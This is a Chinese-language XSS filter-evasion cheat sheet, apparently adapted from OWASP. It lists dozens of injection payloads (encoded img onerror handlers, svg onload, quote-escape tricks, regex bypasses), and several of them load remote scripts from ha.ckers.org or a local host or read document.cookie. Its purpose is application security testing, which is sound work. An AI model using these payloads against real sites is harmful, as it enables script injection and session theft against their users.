[关闭]
@Aklis 2016-01-27T15:15:49.000000Z 字数 3478 阅读 582

XSS Filter Evasion Cheat Sheet

未分类


这篇文章重点在于提供对应用进行 XSS 测试的帮助。
写给那些了解了 XSS 但想继续深入学习绕过过滤的细节的人。

请关注这些写在脚本末尾且已经被测试过的攻击向量。

定位 XSS

注入字符串,很多情况下一个script标签是存在漏洞是不需要写明XSS 这个词的。
也许是一整个通过 URL 编码的字符串。
Tips:如果你需要快速地检查这个页面是否存在 XSS,通过写入无意义的『纯文本』就够了。

  1. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  2. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  3. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

再短一点

  1. '';!--"<XSS>=&{()}

毫无过滤

这是最简单直接的 XSS 了,同时很可能被发现。但总是要试一试。
对于现代浏览器的容错机制来说,引号不是必要的。(但作为一名前端来说,强迫症你能不写?)

  1. <script src="http://ha.ckers.org/xss.js"></script>

曲线救国系列之图片src

  1. <img src=javascript:alert(1)>

曲线救国系列之不区分大小写

  1. <IMG SRC=JaVaScRiPt:alert('XSS')>

反引号包含

如果你需要包含一段同时使用了单引号和双引号的字符串,可以直接使用反引号来把他们直接包含起来。因为很多XSS过滤器并不过滤反引号。

畸形的超链接a

省略掉href属性并进行XSS

  1. <a onmouseover="alert(document.cookie)">xss link</a>

畸形的img

这种 XSS 攻击向量使用相关的渲染引擎在一个应该被引号包含起来的 标签里面新建我们的 XSS 攻击向量。我假设这个原本是用来校正错误代码的。
这会使得除了html标签之外的东西更加难以分析。

  1. <img """><script>alert("xss")</script>">

又是因为容错,上面的结果会变成

  1. <img><script>alert("xss")</script>">

fromCharCode

如果引号都被过滤掉的话,你可以用String.fromCharCode来构建一个 XSS 攻击向量。

  1. <img src=javascript:alert(String.fromCharCode(88,83,83))>

缺省的SRC属性绕过域名过滤

这个可以绕过大多数的 SRC 来源检查。

  1. <img src=# onmouseover="alert('xss')">

On error 事件

  1. <img src=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror事件和javascript alert转义

  1. <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
  2. <img src=# onerror=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  3. <img src=# onmouseover=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  4. <img src="x" onerror="alert('XSS')">

没有字母和数字的 XSS

火狐的对HTML渲染假定在 HTML 关键字之后,一个不是字母和数字的字符是无效的。并且将它看成是一个空白分隔符或者在html标签之后的一个不可用符号。那么问题来了,一些 XSS 的过滤器就判断这个被分隔符分隔的正是他们所查找的标签。
例如:

  1. <script\s

不等于

  1. <script/xss\s"
  1. <script/xss src="http://127.0.0.1:8000/xss.js"></script>
  2. <script/src="http://127.0.0.1:8000/xss.js"></script>

基于和上面同样的想法去拓展它。Gecko渲染引擎允许在事件属性和等号之间存在任何字符而不仅仅是字母,数字或者关键字符(例如引号,尖括号等等)。这使得更容易去绕过一些 XSS 过滤。注意这同时也适用于反引号。如下:
(已无用

  1. <body onload!@#$%^&*()~+-_,.;:?[\/|]`=alert("XSS")>

多余的尖括号

这个 XSS 攻击向量能够使当前首先通过匹配尖括号的开关和闭合并且进行内嵌的标签的对比的检测引擎失效。

  1. <<script>alert("XSS");//<</script>

没有闭合的script标签

  1. <script src=http://127.0.0.1:8000/xss.js?< B >

虽然可以正确向src里写明的文件发出请求但无法正确执行。

省略协议

  1. <script src="//127.0.0.1:8000/xss.js">

转义 javascript转义

当应用程序输出用户某些信息在一个script标签里并且你想要向其中注入你自己的js代码进去,例如

  1. <script>var a="$ENV{QUERY_STRING}";</script>

。但是服务端程序对引号进行了转义,此时你可以转义它们的转义字符来绕过它们。当注入成功之后你会看到

  1. <script>var a="\\";alert('XSS');//";</script>

提交的内容是

  1. \";alert('XSS');//

另外还可以

  1. </script><script>alert('XSS');</script>

强行截断

TITLE注入

这是一个简单的 XSS 姿势。它先去闭合了然后插了进去。

  1. </title><script>alert("XSS");</script>

对于src

body image
image dysrc
image lowsrc
css href
之类的默认在chrome、Firefox下不生效。

svg 超级短

  1. <svg/onload=alert(1)>

对事件的监听 (Event Handlers)

列表

base标签的运用

不像 OWASP 上面写的,而是使用base标签原来的功能来绕过。
但一旦开了 CSP 全部 GG

通过HTML来保护XSS

本质上是绕过一个写得渣的正则表达式。
对于那些只允许但不允许

  1. /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i

绕过它有以下

  1. <SCRIPT a=">" SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
  2. <SCRIPT "a='>'" SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
  3. //渲染之后
  4. <script "a=">" "="" src="http://127.0.0.1:8000/xss.js"></script>
  5. <SCRIPT a=">" '' SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
  6. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

比较神奇的一个例子是

  1. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注